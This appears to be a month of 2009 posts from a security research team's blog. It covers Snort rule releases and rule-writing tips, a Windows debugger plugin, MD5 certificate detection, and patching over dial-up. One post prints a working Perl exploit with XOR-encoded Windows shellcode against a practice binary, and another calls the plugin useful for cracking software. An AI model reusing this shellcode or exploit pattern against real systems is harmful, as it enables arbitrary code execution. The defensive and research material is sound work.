Friday, January 30, 2009

Dial up security woes from East Africa

Two weeks ago, I upgraded my Internet connection at home. I went from a DSL (512 Kb/s download) to a fiber optics (20 Mb/s download) connection. A few days after getting this incredibly fast (and relatively affordable) connection I traveled from the East Coast of the United States to East Africa. I am actually bloging from a large East African nation to talk about how the speed of your Internet connection can affect the security of your computer.

I am staying with my parents who have been working in this country (which I will not name) for a few years. They have a 56K Internet connection, which is the most common connection for the very few how have the luxury to have access to the Internet. Since there is only one cellular phone operator in the country (state-owned, by the way) and that this operator does not offer data service, I cannot check my email with my 3G smart phone. Therefore, within days of being here, I sat in front of my parent's desktop computer and turned it on….

This computer is running Windows XP SP3. I was happily surprised since, I have to say, I was expecting it to be one or two service packs behind, my parents not being the most tech savvy people. However, what did not surprise me is the fact that many Microsoft patches, some dating as far back as October 2008 had not been installed. I checked the settings in the Security Center and Automatic Updates was turned on. Why was the computer not up-to-date?

Although Automatic Updates utilizes the Background Intelligent Transfer Service (BITS) in order to silently download the necessary files in the background, the very slow Internet connection (by today's standards) makes it difficult for the computer to keep up with the regular release of updates by software vendors.

Alright, the Internet connection is slow in this country. Yet, you might ask why my parents don't leave their computer connected for a long period of time (overnight for example) in order to download the security updates? Well, it's because there is only one ISP in the entire country and this ISP does not offer unlimited Internet for a fixed price. In fact, you pay for your connection by the minute! I also took a look at the state of the antivirus solution installed on my parent's machine. Last update: October 8, 2008. For someone like me who analyzes malware and researches vulnerabilities on a daily basis and knows how dangerous the Internet can be without proper security solutions, the poor shape of this computer from a security standpoint was just frightening.

I am certainly aware that software is much more complex today than it was a decade ago, which somewhat explains why files are in average larger now than they have ever been. On this trip, it occurred to me that software that requires access to the Internet seem to be designed with the assumption that the average user will have a broadband connection. While is true for most of America, Western Europe or South Korea, at the same time, in many rural areas in developed countries and in many emerging nations, a 56K connection like the one I am using to post this blog (Ed: or not) is usually what the average computer user has access to. The data on my computer is no less important because I have slow Internet connection than if I if I had a very fast connection. In order to protect my data and my system I need to be able to download security updates regularly and promptly.

In conclusion, I am calling for all of us in the field of computer security to keep this large segment of the world population in mind when we release rules, signatures or patches and to provide many very small incremental updates that can easily be downloaded by people with very slow Internet connections, like the updates provided by Snort and ClamAV.

Tuesday, January 27, 2009

Rule release for today - January 27th 2009

Large batch of Oracle vulnerabilities today. We've had to work through these carefully as details were pretty scant. Here's what we released:

Oracle Secure Backup Command Injection (CVE-2008-4006)
Oracle BPEL Injection (CVE-2008-4014)
Oracle Secure Backup Command Injection (CVE-2008-5440)
Oracle Secure Backup Buffer Overflow (CVE-2008-5444)
Oracle Secure Backup Command Injection (CVE-2008-5448)
Oracle Secure Backup Command Injection (CVE-2008-5449)
Oracle BEA WebLogic Denial of Service (CVE-2008-5457)

More details can be found here:

Tuesday, January 20, 2009

Rule release for today - January 20th 2009

Lots of rule modifications in this release as well as some fixes and new rules.

Security Fix - This module pack resolves a potential recursive evaluation DoS condition in SO rules that utilize the built-in content match API function. Sourcefire recommends installing this release as soon as possible if high latency is encountered when dealing with large SMB file transfers.

As a result of ongoing research, the Sourcefire VRT has added multiple rules to the web-activex, specific-threats, web-client and multimedia rule sets to provide coverage for emerging threats from these technologies.

A detailed advisory as well as a complete list of new and modified rules is available at:

Friday, January 16, 2009

Update to byakugan’s identBuf and memDiff functionality

I've added the ability to import files into tracked buffers, and also added the ability to make use of them as a memDiff input type. This means a new format for the !jutsu identBuf command:

!jutsu identBuf TYPE NAME [VALUE SIZE]

Depending on the TYPE, the rest of the command may have different parts. Lets examine the currently supported types:

The ascii type acts in the same way as you're used to. It requires a name, and a value which will be tracked, but no size. The string will be null terminated as normal.

!jutsu identBuf ascii myAsciiBuf CatImAKittyCatAndIDanceDanceDance

The msfpattern input type has been enhanced to allow for you to provide a custom name. It requires a name and a size, but no value. Future enhancements may involve multiple msfpatterns starting where the last left off in the pattern so as to not confuse multiple pattern buffers with one another. The format looks like this:

!jutsu identBuf msfpattern myMsfPattern 16

The file input type will suck in a file of any format and register it as a tracked buffer. It requires a name, and takes the file path as a value. It also requires a size to be input. Future enhancements may include ability to provide an offset into the file to start reading from. Let me know if you'd like to see this. Currently though, the format looks like:

!jutsu identBuf file myFileBuf C:\msf3\input.bin 64

Note that listing non-ascii buffers with !jutsu listBuf may result in some funny output, but this wont break anything...

All binaries are updated with these new changes.

Thursday, January 15, 2009

!jutsu memDiff

On request, I've added a memory diffing function to byakugan, which will allow you to compare a segment of memory to any buffer that's tracked with identBuf. Shortly I'll be adding the ability to pull buffers in from files, and even directly from metasploit through a back channel. (I promise back channel support is next!)

To test (and explain) functionality, I threw together a simple program:

This code makes a simple MSF pattern, then corrupts a few random characters, and replaces all '6's with '1's.

If we then load this program in byakugan, and then register a buffer with identBuf we can diff the registered buffer with the pattern in memory and see the changes:

!jutsu memDiff buf 64 msfPattern 0x0012fef0

The arguments to memDiff are type size value and address. For now the only accepted type is buf. This will take the name provided as value and pull that buffer from the tracked list for diffing. The size is the number of bytes to diff, and the address is the beginning address of the diff.

In this case, the output will look something like this:

The differ will show actual and expected with changes in bold on the actual side. In addition to that, it will store "bad chars" as well as corrupted offsets. It uses a simple algorithm to decide which is which. If a byte is modified, but that same byte is seen later in the payload, the assumption is made that the corruption is offset based, however, if all of a given character are missing, that is assumed to be a bad character. Obviously this approach falls down without a sufficiently complex input, but it certainly helps at times. I'll be augmenting this shortly with a truncation check to clean up the output in cases where you just dont have the space.

New binaries are uploaded for XPSP2, Vista, and Win7. New inputs coming soon!

Wednesday, January 14, 2009

Preventing Shong from getting her CISSP

This is Shong's exploit for abow5 (the special one that owns you back if you're using ollydbg). Now she has released a weaponized exploit, and cannot pass the CISSP ethics requirements. I've done the world a vast good.

================== ==================

$decoder = "\x44\x8b\xec\x45\x45\x45\x45\xeb\x0f\x58\x80\x30\x90\x40\x81" .

$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .

$key = "\x90" x 121;
$endof_shellcode = "\x4f\x4c\x4c\x41"; 
$shellcode = $shellcode ^ $key; 
$prefix = "A" x 37;
$postfix = "A " x 0x1326;
$abow5 = "c:/cygwin/home/Administrator/abow5/abow5.exe";
$param = "ABCD" x 256 . "\x7f"; 
$shell_param = $decoder . $shellcode . $endof_shellcode;
`echo $param | exec $abow5 1025$prefix '$shell_param' $postfix`;

Tuesday, January 13, 2009

Microsoft Tuesday Coverage for January MS09-001

Just one Microsoft advisory to start the new year, we worked like crazy spider monkeys to get it covered and we did it. Details are available here:

Friday, January 9, 2009

Using Snort Subscriber Rule Set Certified Shared Object Rules

In order to instantiate shared object rules, a rule stub file is required. These stub files are not distributed in the VRT Certified rule packs, however they can be generated using snort.

Here is an example showing the pertinent configuration options in snort.conf along with the command line option required to generate the stub files. In some installations, the files may well reside in /etc/, this example uses /usr/local/etc as the location for the configuration files. (I like man hier you should read it sometime)

In snort.conf

First set up some global variables:
var CONF_PATH /usr/local/etc/snort
var LIB_PATH /usr/local/lib

Dynamic preprocessor and dynamic engine information:
dynamicpreprocessor directory $LIB_PATH/snort_dynamicpreprocessor
dynamicengine $LIB_PATH/snort_dynamicengine/

Here is the configuration option that lists the location of the shared object files that snort is to use:
dynamicdetection directory $LIB_PATH/snort_dynamicrules

Dumping the rules

To dump the rule stub files into the required location the --dump-dynamic-rules option is used like so:
snort -c /usr/local/etc/snort/snort.conf --dump-dynamic-rules=/usr/local/etc/snort/so_rules

This command tells snort to use the snort.conf file where it will find the dynamic rule files (thanks to the configuration options above) and then use those files to generate the stub files and put them into /usr/local/etc/snort/so_rules/

After this is complete, the rule files appear in the directory.
# ls /usr/local/etc/snort/so_rules/
bad-traffic.rules  imap.rules        nntp.rules  web-client.rules
chat.rules         misc.rules        p2p.rules   web-misc.rules
dos.rules          multimedia.rules  smtp.rules
exploit.rules      netbios.rules     sql.rules

Using the rules

At the end of the snort.conf file are the locations of the stub files that can now be used:
include $SORULE_PATH/bad-traffic.rules
include $SORULE_PATH/chat.rules
include $SORULE_PATH/dos.rules
include $SORULE_PATH/exploit.rules
include $SORULE_PATH/imap.rules
include $SORULE_PATH/misc.rules
include $SORULE_PATH/multimedia.rules
include $SORULE_PATH/netbios.rules
include $SORULE_PATH/nntp.rules
include $SORULE_PATH/p2p.rules
include $SORULE_PATH/smtp.rules
include $SORULE_PATH/sql.rules
include $SORULE_PATH/web-client.rules
include $SORULE_PATH/web-misc.rules

Thursday, January 8, 2009

Tips for Writing Good Rules from a n00b

It has been two months since I joined the VRT. Since then, I have learned a lot about Snort and want to share some tactics with other people who are new to Snort (as I was). More precisely, I want to talk about how to write good Snort rules with performance in mind.

First of all, in order to write efficient rules, it is important to understand how the Snort detection engine handles Snort rules. Snort 2.0 introduced the fast pattern matcher, which accelerates the detection process. The basic idea is that the detection engine organizes rules with a two-level labeling system to select some rules out of all loaded rules for detection (please note that Snort loads all rules on startup). The top-level label is a protocol-port number pair and the second-level label is a content (or uricontent) match.

The second-level label is chosen using the principle of first and longest non-negative content match. In the example below, for instance, Rule 1's second-level label is “writing”.

[Rule 1]
alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:”Bad Search”; content:”writing”; content:”bad”; content:”pig”; content:”rules”; content:!”snort”; sid:1;)

As of version 2.8.3, Snort supports the “fast_pattern” content modifier so that you can choose which content match will be used as the second-level label (e.g. Rule 2's second level label is “pig” thanks to this modifier).

[Rule 2]
alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:”Bad Search”; content:”writing”; content:”bad”; content:”pig”; fast_pattern; content:”rules”; content:!”snort”; sid:2;)

Let me explain the two-level labeling system in an even simpler fashion. Snort has big boxes, labeled with a protocol-port number pair, and these big boxes contain many bins that are labeled with fast content matches as well as an unlabeled bin. When Snort launches, it puts rules into the labeled bins if the rules have at least one content match, otherwise they are put into the unlabeled bin. Then, Snort uses these labeled containers to choose which rules are to be used to examine network traffic.

For example, Snort has a box with the “http/80” label, and the box has bins with “bad”, “good”, “writing”, “erasing”, and “pig” labels, as well as an unlabeled bin. Figure 1 shows which rules are in the labeled (or unlabeled) bins.

[Figure 1: Labeled boxes with labeled bins]
****** [“http/80”] ****************
* “bad” bin: 12, 13, 14
* “good” bin: 10, 11
* “writing” bin: 1, 3
* “erasing” bin: 4, 8
* “pig” bin: 2
* unlabeled bin: 9, 15

If Alice searches for “writing bad pig rules” in a web browser, Snort will use the rules with sids 1, 2, 3, 9, 12, 13, 14, 15. Note that the rules in the unlabeled bin are always used, so it is important for a rule to have at least one content match to keep it out of the unlabeled bin. Also, it is more efficient for rules to have a long and specific fast pattern content match (second-level label) that is unlikely to be used often. For instance, rules in bin labeled “a” are much more likely to be used than those in a bin labeled “pneumonoultramicroscopicsilicovolcanoconiosis”.

After Snort chooses the rules to be used for detection, it parses those rules into option lists (as of Snort 2.8.2, Snort parses the rules into a tree structure to make detection even faster, but the principle of writing good rules remains the same). In the following example, Snort parses Rule 3 into Table 1.

[Rule 3]
alert tcp $EXTERNAL_NET 80 -> $HOME_NET any (msg:”Bad Result”; flow:to_client,established; flowbits:isset,bad_search; content:”bacon”; content:”|90 90 90 90 90|”; sid:3;)

[Table 1: Parsed Rule 3]
content:”|90 90 90 90 90|”

Snort goes through this option list in order, so it is a good idea to use less expensive checks such as dsize, flow and flowbits first to weed out mismatches and avoid further processing. After testing target traffic against this option list, the source/destination addresses and port numbers of a rule are checked.

Writing Snort rules is quite easy, but writing good Snort rules can be tricky. Try to keep these principles in mind, they will help with traffic processing.

Wednesday, January 7, 2009

New byakugan functionality!

I've just added a new jutsu method to byakugan to help you find the address of a particular primitive (DWORD, WORD, or BYTE) in memory. Obviously, this isn't a terribly difficult task - you use the search function in windbg. What trackVal will do for you is allow you to see which of the thousand some-odd addresses search returns is actually storing the primitive you care about. For example, I'll demonstrate how to use trackVal to determine where the result value lives in calc.exe

First, we load calc.exe and do a simple operation which will give us a result. I'll just do 9999 + 1, which will of course give us a value of 10000 or 0x2710 in hex. With the value displayed in calc, we'll attach with windbg, load byakugan, and issue the first trackVal command:

0:002> !jutsu trackVal result 4 0x2710
[J] Creating new list of candidates for result.
[J] Discovered 115 possible candidate addresses for result

Let's disect the command:
- result is the unique name of the value we're tracking
- it's arbitrary, but we'll need to remember it for later
- 4 is the size of the primitive we're concerned with; it can be 4, 2, or 1
- 0x2710 is the hex value that we'd like to find

Once the command is issued, we're informed that the name is unrecognized so an initial sweep of process memory is occuring to find all the possible candidate addresses for our value. When this is finished, we're informed that there are 115 possibilities. Far too many.

Our next task is to continue the process and make a minor change to the value in question. We'll add 3 to it, for a value of 0x2713, then break again and reissue our command:

0:002> !jutsu trackVal result 4 0x2713
[J] Narrowing down candidate list for result from 115 candidates.
[J] Value result is stored at address 0x0014cc64

The command is the same as before, apart from the value. It is important that we use the same name, because this time around we will only be searching the previously discovered candidate addresses. Out of the 115 addresses, only one has our new value in it, and we are informed of this. Score. If more than one had the value, we could repeat this exercise until it's fully narrowed down.

To list what values you're tracking, their sizes, and what how many candidates they have, simply type:

0:001> !jutsu trackVal
[J] Currently tracking:
Name: result Size: 4 Candidates: 111

And to see what the candidates are, just add a name to that command, and no size or value:

0:001> !jutsu trackVal result
[J] Currently tracking 111 candidates for result:
Address: 0x00684962
Address: 0x006c3fa8
Address: 0x006c9758
Address: 0x7463a0a6
Address: 0x74644707
Address: 0x74646042

This new tool is expecially useful for cracking software, and cheating at Fallout 3. You can find it, along with the rest of the byakugan windbg plugin in the external directory of the metasploit subversion tree. Check for more information. Happy hunting!

BONUS: There are now updated XPSP2 and Vista binaries in the svn tree!

Friday, January 2, 2009

Md5 actually harmful

You probably shouldn't take any other view of this vulnerability into consideration. Some amazing research and dedication went into proving this vulnerability is realistic and viable. You should note that detection of it is not really feasible; the bad certs look exactly like valid ones. The fact that a site you frequent doesn't currently use an MD5 summed cert is irrelevant. In my opinion, the best way to protect against this attack is to utilize a browser plugin which would store the cert for every site you visit and alert you when it's changed, much in the same way ssh does. If you're interested in knowing when you've been sent a cert that's MD5 summed, you can use this quick and dirty snort rule:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"POLICY Weak SSL OCSP response -- MD5 usage"; content:"content-type: application/ocsp-response"; content:"2A 86 48 86 F7 0D 01 01 04"; metadata: policy security-ips drop, service http; reference: url,; classtype: policy-violation; sid:1000001;)

It wont actually traverse the ASN1 properly, but the Md5WithRsaEncryption ASN1 identifier is unique enough within the OCSP protocol that it shouldn't false on you. Note that this will only show you when you've gotten an MD5'd cert; the responsibility for deciding whether or not it's valid is on you. In my quick checking, none of the SSL sites I use for banking, searching, email, or even gaming used MD5'd certs, so if the rule goes off before you check your checking account, you may want to think twice.